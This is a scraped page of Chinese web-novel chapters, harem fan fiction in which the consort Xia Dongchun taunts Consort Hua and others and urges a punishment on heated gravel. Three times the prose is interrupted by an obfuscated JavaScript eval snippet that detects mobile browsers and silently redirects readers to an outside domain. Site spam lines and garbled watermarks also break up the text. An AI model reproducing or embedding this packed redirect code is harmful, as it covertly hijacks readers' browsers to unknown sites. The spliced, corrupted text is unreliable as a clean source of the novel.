皇上知道夏家在其中浑水摸鱼肯定不算干净,只是没想到夏家居然会自爆。这跟把钱送到他手里有什么区别? 既然是自己的钱,皇 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 上真诚的回应那眼花缭乱的搭配:“好看!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206832|175486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 夏冬春看懂了皇上的眼色,心里嘲笑这个见钱眼开的小老头异想天开。到了她手里的好东西,除了自己的孩子,内务府不要想着捞到一个****。 年节的装饰被撤下来,后宫的请安也恢复到了正常的节奏。 “华妃娘娘这衣裳是去年做的吧?为什么不穿新衣裳啊?这去年的衣裳再好看也是旧的了,有股,浆洗后的味儿。” 夏冬春刚一坐下就开始朝着华妃发送挑战信号。齐妃等人用敬佩的眼神给她加油,皇后还试图拉架。 华妃哪里受过这份气,她怒拍扶手,脸上带着要**的愤怒:“惠嫔是皮痒痒了吗?以下犯上,颂芝,掌嘴!” 颂芝小碎步来到夏冬春身前,然后被夏冬春一巴掌扇到了地上。 她拿着缂丝的帕子擦了擦手,嫌弃的白了一眼:“为什么这么大的怒气?臣妾记得第一次请安的时候华妃娘娘还炫耀自己的耳坠子。为什么许娘娘炫耀不许臣妾炫耀?娘娘是不是玩儿不起?” 勇敢的夏冬春先一步享受万众瞩目的世界,她仰着头丝毫不介意暴露自己的本性。 就连皇后都失了声音,这惠嫔怎么过个年想要找**呢? 后头的乌雅答应瞪着一双圆溜溜的眼睛,族里的消息她都知道,只要今日这位惠嫔娘娘毫发无损的从景仁宫走出去,乌雅家就要完全抛弃太后去另一条船上谋生了。 “惠嫔,果然是胆子大的很。” 华妃的怒火已经积攒到了顶峰,敬嫔有心解释一二,也实在无从开口。 夏冬春歪了歪头:“华妃娘娘,后宫为什么是您不想听的臣妾就不能说呢?为什么臣妾只是问些问题就要被您喊打喊杀呢?臣妾出身包衣,自幼知道一个规矩,包衣,除了皇上,甚至没有人有资格掌嘴的。身为皇上身边的老人,华妃娘娘为什么连这个规矩都不知道?” 夏冬春的话落,景仁宫有点点抽气的声音。 华妃坐在椅子上,双手的指尖肉眼可见的泛白。 “好一个包衣,本宫倒是忘了这回事了。奴才秧子出身,倒是好大的威风。” “呵呵呵。” 夏冬春突然笑出了声。 华妃余光瞥见皇后难看的脸色,突然后知后觉的白了脸。 “包衣,从来都隶属爱新觉罗氏的奴才。就连乌雅氏,也是如此呢,华妃娘娘。” 断腿的仇,尽职尽责的任务者是不会忘的。 第399 章 夏冬春16 已经许久没有人敢拿包衣的出身来说事了夏冬春看着被三两句就忽悠出了想要的话的华妃内心为她鼓掌。 看着昂首挺胸走出景仁宫的惠嫔乌雅答应知道乌雅氏该为夏家让路了。 “你说说你好端端的去招惹华妃做什么?” 皇上一脸疲惫的坐在夏冬春特制的软棉椅子上吸溜了一口甜滋滋的奶茶那身洗不去的烦躁慢慢平复略带责备的声音虽然听着唬人但夏冬春并没有什么反应。 “臣妾明明是平等的招惹每个人。” 夏冬春很骄傲她那一波明明是嘲讽了在坐的所有人只不过点名了华妃更具吸引力才叫大家忽略了而已。 皇上头疼的皱了皱眉他从没见过如此能惹事的后妃。 “她是妃你是嫔若是闹起来朕也护不得你。” 皇帝到底不是感情用事的男人夏家给的多年羹尧同样很有用。 不过说起武将皇上记得惠嫔的两个哥哥都在九门提督手下据说老大夏英武很是孔武有力思绪转了又转决定把人先送去岳钟琪那里历练。 哪知皇上的念头还未过完夏冬春就豪气的挥了挥手:“臣妾自己能行臣妾可是武将家的女儿骁勇的很!” 武将这也对。夏家虽是汉军旗包衣但其中武将不少。 “你呀她身边有禁军你莫要意气用事。” 禁军不属于年羹尧的势力也不属于华妃的势力只不过是被华妃的钱财拉拢在华妃和别的宫妃之间会听她的命令行事罢了。 “为什么八旗子弟的禁军会听华妃的话?是不是华妃给的多?那臣妾也能给啊?臣妾给的多就听臣妾的了是不是?” 这道理粗听倒是那么回事但细细一琢磨皇上就气冒了烟。 那是禁军 “胡闹!” 皇上很生气夏冬春不为所动。 “这样不行吗皇上?那为什么不管华妃娘娘啊?” 迎着不知死活的惠嫔的眼睛皇上这股火发不出去咽不下去难受的很。 夏冬春眨巴眨巴眼睛:“那臣妾还能和华妃娘娘吵架吗?” 她完全不顾皇 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 上的死活,只在意自己的痛快。 “能。 沈眉庄废了,有个惠嫔牵扯着华妃的精神也好。毕竟这位惠嫔可能耐的很,华妃怕是吃不了好。 如皇上所料,他这波没有惩罚惠嫔,已经是一种于华妃不利的信号。 她连夜写信企图送到年羹尧手里,却被夏家直接拦截。 掌管着文书来往的堂郎中夏威,早早就摸清了年家的路子,什么隐蔽不隐蔽的,一个刚发家没几年的汉军旗,自认为有两个银子就能在紫禁城横着走?太小看他们深耕多年的包衣了吧? 就在皇上想着年羹尧怎么还没来给华妃撑腰时,夏威带着华妃的家信来到了养心殿。 “皇上,奴才想着这信的路道太奇怪了,就私自做主拦了下来,皇上恕罪。 皇上震惊的看着华妃告状的家信一脸震惊:“你,把华妃的信拦了? 前一个堂郎中怎么没这个本事呢?夏威为了闺女也太拼了吧? 不过按理,这些后妃不管是来还是往的信件都要经过内务府审核才能选择是否递到想要去的地方。所以夏威的所作所为都是十分合理且敬业的。 并且这信的蜡封未动,想来连审核都没走,直接送到了养心殿。 “不能,不能拦吗? 夏威的声音又开始抖了起来,还以为做错了事,整个人看着怂唧唧的。 “你做的对。 就这么点胆子,怪不得做武将的没有他呢,老实在京城待着吧还是。 夏威轻轻呼了口气,有种峰回路转的轻松感。 皇上摆了摆手直接把人轰了出去。 他打开信快速的看完,不自觉的冷笑起来。 让年羹尧给他施压,想要杖毙惠嫔? 谁给华妃的胆子,叫年羹尧来威胁他这个皇帝? 家信嘛,华妃自然是想到什么写什么,这么长时间没出过问题,又自信自己管理后宫的能力,哪里就想到这信到了皇上手里了呢? 夏冬春:都说了不要小看我们包衣,那儿那么大个太后你总是不记得,暴发户! 这头的皇上还在生气,那头的夏冬春又收了一沓银票。来自舒太妃的友情赞助,感谢果子狸对莞常在的真情流露,感谢莞常在对拾妻弟的不避嫌,成全她夏冬春挣钱之路 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 。 “娘娘,养心殿那边传来消息,皇后娘娘惹了皇上生了好大的气呢。” 汀雪和汀雨在宫里的时间长些,一直负责消息的互通。养心殿里头娘娘们不好那排人,包衣做这事却是职责所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206833|175486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在。 “说什么事了吗?” 夏冬春正在盯着内务府的人送来的护甲款式挑选,镶宝石的嵌玉的缀小米珠流苏的,款式各异全都好看。 “皇后娘娘举荐安答应侍寝。” 夏冬春没忍住笑出了声,皇上正因为华妃的事生气呢,皇后还在那儿拉皮条,她不挨骂都奇了怪了。 “皇上还是要给皇后这个面子的。” 毕竟皇后是纯元的妹妹啊! 不过今日皇上没心情,等皇上想起来安陵容,天儿都暖了起来。 “听闻莞常在当日瞧安答应面善,还接了安答应入府,借住。怎么莞常在得宠这么久,安答应还没侍寝啊。姐妹情深,也不过如此。” 华妃这些日子接连受挫,先是拉拢了很久的禁军被皇上换掉。然后一而再再而三的被惠嫔嘲讽,不管是动手还是以权压人,惠嫔都是油盐不进。 反而是她,即便掌管着宫务,也被那些包衣糊弄着收了不少瑕疵的物件。 华妃收到那针脚凌乱的衣裳时,没有哪一刻比当时更清晰的认识到,包衣世家和新锐之秀的区别。 即便去寿康宫告状,也是无济于事。 毕竟太后现在失去了对乌雅家的掌控,做事不比从前顺利,和家族那点没有被维持过的情分已经快消磨殆尽。自然要留着最后那一点点用处,为自家老十四和乌拉那拉氏打算。 没有收到二哥年羹尧的回信,皇上也只是放任,华妃自然转变了目标,去欺负其她人。 莞常在一反常态的抬起头,脸上带着不合时宜的清高:“承蒙皇上宠爱,嫔妾万不敢逾矩做事。安答应虽于嫔妾交好,但皇上自有定论,嫔妾只听从就是。” 华妃歪着嘴角笑了起来:“哦?这就是安答应昨晚完璧归赵的缘由吗?身为安答应的好姐妹,就这么截了姐妹的恩宠,莞常在还真是好手段呢。” 夏冬春的眼睛随着两人的来回不停的动,恨不得在景仁宫点个菜,一边吃一边看热闹。 昨晚安陵容好不容易等到了侍寝,却不知道因为什么原因浑身哆嗦被皇上嫌弃退了回去。 富察贵人一早来就蛐蛐上了,昨晚儿那哭声,凄厉的像是那女鬼,吓的她后半夜都没敢睡。 而接了安陵容的班的,就是好姐姐甄嬛。 两个人坐着车交错时,安陵容掀开帘子和甄嬛有一瞬间的对视。 背道而驰的两姐妹,终于被皇后拆散了。 第400 章 夏冬春17 结束了这个令大家都有些不适的晨安,华妃以莞常在大不敬为由把人带到了翊坤宫里准备好好折磨一番。 沈眉庄和甄嬛情比金坚,自然不能眼睁睁的看着自己的嬛儿被如此欺辱。但她一根筋的轴劲上头,压根想不到去养心殿找皇上救援,一脸英勇就义的表情跟着一道罚跪在翊坤宫的院子里。 夏冬春对沈眉庄的做法表示了欣赏,然后转身和富察贵**声的蛐蛐刚才莞常在试图给沈贵人使眼色的经典场面。 “就是这样就是这样,对,莞常在约莫着是想让沈贵人去养心殿求皇上来了。没想到啊,这沈贵人瞧着不是个傻的,偏偏什么也看不明白。” 夏冬春啧啧两声,特意伸长了脖子跟在沈眉庄和甄嬛身后,不顾富察贵人那胆小怕事的样子,愣是跟进了翊坤宫。 “嬛儿,对不住,我原只是不愿你受委屈。” 沈眉庄甚至有些怨恨惠嫔为什么不能第一时间告诉她。 甄嬛无奈叹气,眉姐姐什么都好,就是认死理。 她安抚的拍了拍沈眉庄的手背:“姐姐担心我,我自然知道。没事的,惠嫔娘娘弄出来了这么大的动静,皇上不会视而不见的。” 伶俐的夏冬春怎么会叫两个人抱着希望挨罚呢?她刻意凑近了些,脸上带着明晃晃的恶劣:“皇上当然不会视而不见啊,因为皇上看不见。” 说着,她大摇大摆的拉着富察贵人绕过甄嬛和沈眉庄姐妹,大步走进翊坤宫捡了喜欢的位子坐下。 “颂芝,给本宫和富察贵人端些你们娘娘最喜欢的蟹粉酥来。” 她说着话,眉头还挑着,格外神气的看着上首阴沉沉的华妃。 “惠嫔倒是好胆量,讨口吃的讨到了本宫的翊坤宫来。” 夏冬春拉着身边的富察贵人的手晃了晃:“娘娘啊,在宫里这么久了,您还是这么沉不住气。 咱们虽然都是汉军旗,但有句话臣妾不得不说。臣妾的家族自祖上跟着老祖宗入关,掌管包衣旗是皇上身边的自己人。 而你们年家的祖上,是前朝辽东的军户,当初被咱们大清的八旗军队抓住充入了奴仆,才有了旗籍。这里外啊,您得分的清。” 无视华妃有些扭曲的表情,夏冬春抖了抖手里的帕子继续说道:“要说起来,娘娘您跟富察贵人应该也有渊源。毕竟这富察氏,可是跟 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 着老祖的大功臣,您这祖上,怕不就是被富察氏扭回来的呢。 许是想到了什么开心的事,夏冬春说着自己就笑出了声。 富察贵人虽然心里有些**,但面子上还是给这个新结交的姐妹撑住了场面。况且,春儿说的也没错,她富察氏跟着老祖宗打江山的时候,年氏还在伺候人呢。 华妃紧紧的扣着手里的扶手,保养得宜的指尖渐渐渗出了血色。 夏冬春眼尖,但并不往心里去。 “娘娘怎么不说话?这沈贵人和莞常在还在外头跪着呢。 开了春,上午的日头十分的耀眼,虽然不如夏日炎热。但夏冬春相信,经过她这么长时间的刺激,华妃一定会把气好好的撒在沈眉庄和甄嬛身上的。 久没有接到家信,华妃所认知的年家无所不能的底气被夏冬春打破,她自然得投鼠忌器,对夏冬春只能忍了再忍。 “跪着便跪着,不过是两个**,还指望本宫心疼吗? 岂料夏冬春摇了摇头,满眼嫌弃的看了眼外头。 “这还不是怜惜?不过是在地砖上跪一跪,算的上什么惩罚?要臣妾说啊,您就该叫人找些碎石子来,用火烤的热热的。保管啊,叫她们吃个教训。 富察贵人下意识的抖了抖,她怎么没发现春儿惩罚人都这么有想法。 华妃看了眼外头的周宁海,周宁海会意按照夏冬春的吩咐去做。 “华妃娘娘,惠嫔娘娘,嫔妾不过是一时失言,二位娘娘在宫中处以私刑,不怕被皇上厌弃吗? 即使到了这个时候,甄嬛依旧不愿意低头示弱。 沈眉庄自然也是傲骨铮铮,两个人手拉着手,一副不与世俗同流合污之态。 夏冬春抚了抚掌,这仇人齐聚一堂的场面也是难得,至于会不会被皇上厌弃?笑话,厌弃怎么了?她需要靠嫔位那点子份例过日子吗?还不够吃顿饭呢。 “哦?何人瞧见本宫对你们两个小**用私刑了?石头是翊坤宫的大太监周宁海找来的,你们两个也是华妃带进翊坤宫的,跟本宫,有什么关系? 华妃猛然甩头,头上的珠翠发出好听的碰撞声。她从来没见过这样厚颜无耻的人,居然把错都推到她华妃身上。 “惠嫔,你真是好的很。 夏冬春也不看华妃,只盯着外头 你身边有不少朋友还没看到本章呢,快去给他们剧透吧
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206834|175486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 跪着的两人津津有味的欣赏:“彼此彼此,华妃娘娘,富察贵人不过是侍寝两日,您就打着教规矩的旗号把人困在翊坤宫研磨,这一磨就是一下午。也不知道,年大将军,能经的住富察氏几本折子呢?” 富察小笨蛋真的很适合当朋友,她不过是拉着她吃了几顿饭,富察便把自己的私藏送了她。 既然是朋友,那可不能给别人欺负了。 华妃的掩在袖子下的手指有些微微的颤抖,她强撑着气势扯了扯嘴角:“惠嫔倒也不必如此威胁本宫,据本宫所知,富察贵人出身旁支,还不至于叫富察氏如此兴师动众。” 富察小笨蛋的脸色有些难看,一看就被忽悠住了。 夏冬春拉着她的手晃了晃:“娘娘啊,这家族一荣俱荣一损俱损,保和殿大学士富察马齐大人,能允许你们这个小小的年家,欺负富察氏的人吗?富察氏,要脸啊!” 年家,在富察氏面前,那简直不堪一击。 华妃脸色慢慢变白,深呼吸两次想要控制自己颤抖的手。 “本宫,手掌宫权,不过是一点小小的训诫。” 夏冬春却直接戳破了华妃的心虚:“富察氏精心教养的贵女,需要您这个家族没什么底蕴的人来教导?” 她一刀接一刀的往华妃心上扎,完全不顾她难看的脸色。 院子里传来响声,夏冬春回头,原是周宁海带着烤过的碎石正在铺设现场。 甄嬛和沈眉庄被翊坤宫的太监架着摁在碎石上,尖锐的疼痛和灼热从膝盖传遍全身,两个嘴比骨头硬的女人终于哭喊出了声音,美妙又动听。 养心殿的夏威总算是汇报完了工作,皇上正开心着自己又进一步掌握了隆科多和乌雅氏的罪证,就看到慌慌忙忙的苏培盛一脸恐惧。 “皇,皇上,华妃娘娘把莞常在和沈贵人带到了翊坤宫,下头的人说,周宁海取了碎石,许是,许是已经跪上了。” 虽然莞常在在皇上心里的份量并不算重,但那张脸确实是得天独厚的优势。在没有新的替身进宫前,莞常在就不会轻易被皇上舍弃。 “朕去瞧瞧。” 华妃的性子急,莞常在又不是个会服软的。皇上生怕那张脸有了瑕疵。 夏威识趣告退,离开前塞了张银票到皇上手里,皇上自觉的揣了起来。 看着皇上急匆匆的背影,夏威在心里叹了口气,希望他闺女没在现场找事吧! 第401 章 夏冬春18 夏威那银票到底起了作用,皇上刚一踏进翊坤宫的大门,就看到了跪在地上的甄嬛和沈眉庄。余光瞥见屋子里头吃茶的夏冬春,那股火在碰到袖口里的银票时,骤然熄灭。 ‘罢了,她和莞常在本就不对付,来看热闹而已,没有落井下石就已经很棒了。’ 皇上示意浣碧和采星把自家主子扶回去自个儿宫里,然后坐到主位上略带些怒气的问道:“究竟是怎么回事?” 华妃缓了缓神,把莞常在和沈贵人顶撞她的事说了一遍,随后柔着嗓子委屈着看向皇上:“臣妾不过是略施惩戒,皇上您可是心疼了?” 皇上抬了抬眼睛,有些烦躁的甩了甩手里的珠子。 太医也赶了过去,经过一番检查,又忙着过来回话。沈贵人和莞常在两人跪的时间不长,虽然瞧着吓人,但都是些外伤,没有伤及筋骨,养养就能痊愈。 皇上的气也消的差不多了,脸没事就行。 “便是罚跪,你叫她们在外头跪着就是,何必弄这些玩意儿。” 华妃刚想开口说这是惠嫔的意思,可对上夏冬春那双乌溜溜的眼睛,想着这些时日被包衣做的手脚,还有她身边那位“虎视眈眈”的富察贵人。 “臣妾不过是想叫沈贵人和莞常在认个错儿,臣妾身为妃主,一个贵人一个常在,拒不低头,臣妾怎么咽的下这口气。” 皇上叹了口气,年世兰的性子就是这么火爆,但莞常在和沈贵人也太不识抬举了。两个玩意儿罢了,真把自己当回事了。 “即便如此,也断不能动私刑。” 今日是膝盖,改明儿若是划了脸可怎么好? “你手里的宫务先给惠嫔打理着,朕罚你半年月例,你可认?” 月例华妃不在乎,但宫权不能旁落。 只是皇上也是有考量的,华妃势力过大,正好交给夏冬春清洗一下。虽然惠嫔可能会搞砸,但惠嫔有个能干的阿玛。 对比起年家,皇上自然更信赖自家人,夏氏。 “臣妾认罚。” 虽然还想纠缠,但皇上的眼神已经带着不容拒绝的坚定和一丝烦躁。 华妃只能认了下来,在心底诅咒夏冬春什么都不会失了圣心。 抱着对牌和账本,夏冬春乖巧的尾随着皇上来到养心殿。 “你这是做什么?还不去干你的活。” 夏冬春眼神无辜又清澈:“臣妾不会。” 好理直气壮啊,皇上都不知道说什么了。“为什么叫臣妾来啊,臣妾不爱干活,臣妾只喜欢吃喝玩乐。为什么不叫皇后娘娘来?” 皇上抬了抬手,拒绝了夏冬春的拒绝。 夏冬春也不气馁,眼神一转:“为什么不能给臣妾个养心殿的姑姑?就当是臣妾干的活,好不好?” 好不好?好的很啊!对于皇上这么小气的男人,这权利在自己手里自然是最好的。 他认真的看着夏冬春的眼睛,没有看到一点不情愿。 “沈贵人当时也不会,但也接了下来。这宫权,可是好东西。” 夏冬春自觉的把皇上的点心拿过来吃:“太累了,有那功夫,臣妾能多换两身新衣裳美一美。” 皇上无奈,只好把芳渠又让夏冬春带了回去。 “若是有哪里不清楚,找夏威辅佐你查个干净。” 这后宫天天喊穷,皇上倒要看看,究竟有多穷,他,现在不是一个人了,他有夏威! “是,奴婢谨遵皇上旨意。” 皇上点了点头,芳渠是从潜邸跟着他的老人了,给了夏冬春也好。 “今后,你就是储秀宫的人,不用再回养心殿了。” 想着夏冬春身体好,说不得哪日有孕了,有个靠谱的嬷嬷在身边更好。 “多谢皇上。” 夏冬春很开心,储秀宫的掌事宫女禾穗是她阿玛安排过来的,再加上一个芳渠,她要在后宫,横着走! 快乐的夏冬春直接当着皇上的面把账本子和对牌等物扔到了打工人芳渠怀里,只留下一句“芳渠嬷嬷自己回储秀宫就是”,便一阵风似的往延禧宫的方向去了。 “娘娘还是这么活泼。” 芳渠自觉自己深受信任,对夏冬春的好感和敬意无比加深。 而皇上,他自认还算了解惠嫔,这么快乐,定是要去找谁的麻烦去了。 “去看着些惠嫔,别闹出太大动静。” 苏培盛应了一声,把小厦子扔出去跟着。 小厦子一路追随惠嫔的脚步来到延禧宫,看着惠嫔娘娘叉着腰站在西配殿门口嘲讽安答应,默默的退了回去。 安答应而已,算不得什么大动静。苏培盛赞同。 “这有的人啊,自个儿什么出身还是要心里有数,你以为你跟人家是好姐妹?人家不过当你是垫脚石而已! 好不容易得了侍寝的机会你不珍惜,这可不就被好姐姐夺了去?今儿早上啊,人家可说了,这皇上乐意喜欢谁是皇上的事,皇上啊,就是喜欢莞常在,不喜欢你呢。” 富察贵人无奈的摇了摇头,在夏冬春歇口气儿的间歇递了杯茶给她:“你做什么跟她过不去,没得沾染了穷酸气。” 润了润嗓子,夏冬春继续输出:“为什么跟她过不去?仪欣啊,你是不知道,这世上为什么有这样厚颜无耻的人。当初殿选多严肃紧张的地方,有人端着茶杯连路都不看四处溜达。 这不,洒了别人一身,她倒好,自个儿哭上了。高高兴兴的日子,像是哭丧一样。你说,为什么有人这么晦气的?” 皇后想要用安陵容当刀子?那怎么行,她这几日就要把安陵容骂的出不了头! 已经是中午,富察贵人又拉着夏冬春吃了顿丰盛的午膳。两个人歪在床上说了会儿话不自觉的睡了过去。 西配殿里的人听闻外头没了声音,宝鹃才偷偷摸摸的探了个头出门去提膳。 安陵容在屋子里已经哭肿了眼睛。本以为昨晚被皇上退回来被莞姐姐夺了恩宠已经是最大的悲哀,没想到,这苦日子没有放过她,惠嫔又来了。 越想越难过,她趴在桌子上呜呜呜的哭个不停。跑出去的宝鹃偷摸到了景仁宫,皇后直呼晦气。 “剪秋,下午去延禧宫看看,别叫惠嫔把安答应给气死了。” 皇后最近也不好过,想给惠嫔下点药却接连受阻,拉拢新人又没什么好的目标。还好华妃和她一样不顺,这才有些安慰。 宝鹃得了继续哄着安陵容的命令,也苦着脸往回走。 她那个小主,除了哭什么都不会,烦死了。 攒足了精神,夏冬春叫秋丽去御膳房要了一桌子点心,拉着富察贵人在西配殿门口支了张桌子,摆了两张美人榻。 一旁摆着一个小火炉,上头煮着一壶清香的果子茶。 “仪欣妹妹,你说为什么会有人这么喜欢当缩头乌龟?” 富察仪欣轻咳了两声,把笑声咽了回去一本正经的回答:“许是她本来就是呢?” 夏冬春竖起大拇指表示赞同。 富察小笨蛋如今已经无所畏惧,家信也传了回去,有春儿的帮助信件非常快速有丝滑的到了族里二伯手里。 至于会不会给族里添麻烦?富察贵人还不至于糊涂到这个地步。哪个牌面的人啊能给富察氏添了麻烦? 为了感谢惠嫔的点醒和帮助,夏冬春远在河南巡抚节制下的绿营兵,官职正六品千总二哥夏勇武,成功晋升正四品中军都司。 夏威知道这是富察氏的投桃报李,顺手把延禧宫的探子拔了拔扔了扔。富察氏懂事的把自己人放过去,默契的很。 第402 章 夏冬春19 景仁宫和延禧宫不过是一个甬道的距离,剪秋捏着帕子刚踏出景仁宫的大门,就听到了惠嫔利索又高昂的叫骂声。*d?u/a.n_q¢i/n-g-s_i_.¨n`e¨t. 她眼神里闪过一丝不喜,嘴角耷拉着,面容十分的严肃。 只不过在踏进延禧宫的地界儿后,瞬间带上了皇后同款温婉微笑,脚步加快,对着夏冬春和富察贵人半福身行礼。 “剪秋怎么过来了?” 夏冬春连一个眼神都没给剪秋,举着一柄象牙骨的扇子盖在脸上,遮住了有些刺眼的阳光。 剪秋的笑容没能维持住,自从进了宫,谁不尊她一声‘剪秋姑姑’,即便是华妃,也没有这般嚣张的时候。 “奴婢奉皇后娘娘的命令来问上一句,安答应可是和惠嫔娘娘有了龃龉?” 被死死按着手的小富察己经接受了自家姐妹的目空一切,她现在完全可以淡定的吃点心了。 “皇后娘娘为什么派你来问这样蠢的话?这是上了岁数记性不好吗?本宫和安答应的龃龉不是传遍了整个后宫吗?” 想当老好人给安陵容送温暖?夏冬春决不允许。 剪秋皱起了眉头,企图以奴婢的身份给夏冬春这个惠嫔定罪。 “惠嫔娘娘慎言,言语冒犯国母乃是大不敬之罪。” 夏冬春这才把脸上的扇子拿下来,斜愣了一眼剪秋摆了摆手,像是打发一条乱吠的野狗:“看来剪秋姑姑的规矩学的不好,正好过几日就是内务府的考核日了。_x,s+h!a¨n+j~u-e^./c¢o/m!你这样的奴才,肯定不能在国母,身边伺候着了。” 小小剪秋,在别人面前逞逞威风就罢了,到她手里,那可真是找对人了。 “奴婢虽然是奴才,也是皇后娘娘的贴身宫女,惠嫔娘娘怕是没有权利处置奴婢。” 这点自信剪秋还是有的,只是她忘了,入了宫的奴婢都是包衣,只要是包衣,夏冬春的阿玛就能管上一管。 “为什么没有权利?难不成皇后娘娘给你抬了旗?” 不等剪秋再说话,夏冬春指了指自己空荡荡的荷包说了一句:“看在皇后娘娘的份上,银钱到位了,本宫就饶你一命。” 皇后可能银子不多,但麝香多啊。那玩意儿还真是挺值钱的。各种复杂些的香料都需要这种天然的麝香。攒一些以后说不定就有了用处。 然而剪秋和她主子一样是个不信邪的,所以在十日后,被内务府的人以规矩不佳谨防冲撞主子们为由带了下去。 其实娘娘们贴身带进宫的奴才内务府一般是不会严苛考核。 但谁让这世界就是一个巨大的草台班子呢? 谁有后门,谁就说了算。尤其是咱们这位皇后,手段不够大气为人也抠门的很,基本没有几个奴才是心服口服的。 说起来捉拿皇后身边的大宫女,这些个包衣和太监连眼睛都不眨一下的。 夏威给的多还是皇后给的多,夏威的势力大还是日薄西山的乌拉那拉氏更厉害,大家心里都有一杆秤。o?白?¨马u>书??院.? ?免}费;阅]:读{ 皇后不能失去剪秋这个助手,偏内务府走的规矩也没有漏洞,即使求到了皇上那里,也不过是一句‘按照规矩来就是’的废话。 太后倒是想帮忙,毕竟皇后做了多少脏事都是经过剪秋的手,这一个不小心乌拉那拉氏就要完。 但是她三番西次的联络乌雅氏都没有回应,只收到一句没钱就把竹息打发了。 这么多年,仗着乌雅氏的人手遍布后宫,太后根本没想过培养自己的人。一朝被釜底抽薪,堂堂大清的皇太后,竟连个能办事的奴才都没有。 “你说你,为了一个没用的答应,闹到今天这个地步,实在糊涂。” 少了外家的帮扶,太后又忧心小儿子又担心老情人,整个人都散发着腐朽的味道。 她戴着墨绿色的抹额靠在迎枕上,面容枯槁气息微弱,看着皇后一副恨铁不成钢的神情。 “臣妾只是想着后宫和睦,身为后宫之主,自然要多看顾些。” 太后冷哼一声,一眼就看穿了皇后的把戏。 “这里没有外人,少说这些冠冕堂皇的话。你看中了安答应,不过是想施恩而己。” 太后是先帝的后宫厮杀出来的胜利者,对皇后的手段心知肚明。 皇后没有接话,她坚信,即便是看在乌拉那拉氏的份上,太后也不会不管她的。 “不过是要钱,哀家最后再帮你一次。惠嫔己然成了气候,夏家起势,你若是不能一击即中,不可再莽撞行事。” 太后的私库还是有不少收藏的,夏冬春没有客气的笑纳了。 只是这次没有趁机把皇后的麝香存货拿到手,还是略微有些遗憾的。 她写信给自家阿玛,包衣想要找些麝香还是容易的很。前头的工作忘了这么个好东西,这次一定要攒一些。 这天儿只要暖和起来,离夏天也不过是转眼的事。 夏冬春迟迟未有身孕,甄嬛和沈眉庄又支棱 了起来,因为甄嬛有孕了。 “仪欣妹妹,你知道为什么一个人没有家世没有权利也没有足够银钱傍身的时候,还能抬着头自命不凡吗?” 富察仪欣己经彻底沦为夏冬春的应声虫,自从夏冬春教会她回家告状,还把延禧宫清理了一遍后,她就单方面的把富察家绑在了夏冬春的身上。 “哦?为什么啊?” 夏冬春用右手掩着嘴,大声的说道:“自然是因为觉得自己不是以色侍奉皇上,而是靠着xuan xuan一袅楚宫腰和皇上心意相通啦!” 欣常在的笑声突兀的响在景仁宫的殿内,像是一个了不得的开关,齐妃华妃敬嫔等人也用帕子掩着嘴,试图压下那快要喷涌而出的笑意。 这话题若是放在别处,甄嬛自是要辩驳两句。但这句诗,出自她口,实在无从反驳。 作为一个没什么文化又骁勇的后妃,夏冬春怎么会知道这句诗的意思呢? 她看向上头的皇后,真诚的发问:“皇后娘娘,这句诗出自何处?是何意思?为什么莞常在殿选时要这样介绍自己?臣妾不知道呢。” 三三两两的笑声停了下来,大家都是读过书的,登时便反应了过来。 瞧着大家都不说话,夏冬春又看向后头的沈眉庄:“沈贵人,孔孟之乡的后人,莞常在的好友,想必能为本宫解惑吧?为什么莞常在不说琅嬛福地呢?是太正经规矩了吗?” 沈眉庄回过神,脸色腾然升起一片红云:“嫔妾二人学识不精,怕是不能为惠嫔娘娘解惑。” 夏冬春表情带了些疑惑:“为什么这样谦虚呢?宁可枝头抱香死,何曾吹落北风中,不是沈贵人说与皇上的吗?难不成为什么这个时候又没有学识了?难不成是皇上骗本宫的?” 沈眉庄捏着自己半新不旧的袖口有些难堪。这些时日,即便沈氏不停的往宫中送钱,沈眉庄的吃穿用度也是一减再减。 从上好的宁绸宫绸等布料,到符合规制的云缎衣素缎等。如今就连一身简单的云缎常服,也需要一百两银子,排队一两个月才能拿到手。 若是想要快些,那便只能不停的往内务府砸钱。 沈家的家底不弱,但沈眉庄还要帮扶一个丝毫没有家世可以依靠的甄嬛,按照内务府的报价,她己经许久没有穿过新衣裳了。 甄嬛凭着那张脸皇上偶有赏赐,还算能过下去。至于沈眉庄,只能不停的趴在沈家身上吸血,给夏冬春阿玛的贪污之路,做出少量的贡献。 第403 章 夏冬春20 